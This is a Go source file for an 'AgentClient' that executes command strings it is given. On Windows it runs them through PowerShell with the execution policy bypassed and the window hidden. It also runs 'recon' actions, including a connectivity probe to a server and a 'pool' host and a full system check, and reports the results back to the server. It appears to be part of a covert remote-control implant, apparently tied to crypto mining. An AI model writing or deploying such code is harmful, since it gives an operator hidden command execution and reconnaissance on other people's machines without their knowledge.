package client

import (
	"encoding/json"
	"fmt"
	"os/exec"
	"runtime"
)

func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
	if runtime.GOOS == "windows" {
		return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
	}
	return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}

func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
	if runtime.GOOS == "windows" {
		return silentCombinedOutput("cmd.exe", "/C", command)
	}
	return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}

func (c *AgentClient) handleReconCommand(action, command string) bool {
	if action == "connectivity_probe" {
		probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
		b, _ := json.Marshal(probe)
		c.sendCommandResult(action, true, string(b))
		return true
	}
	if action == "full_sys_check" {
		report := CollectFullSysCheck(c.cfg, c.agentID)
		c.sendCommandResult(action, true, report.JSON())
		return true
	}

	handled, success, msg := c.platformRecon(action, command)
	if !handled {
		return false
	}
	c.sendCommandResult(action, success, msg)
	return true
}

func formatCmdErr(err error, out []byte) string {
	return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
}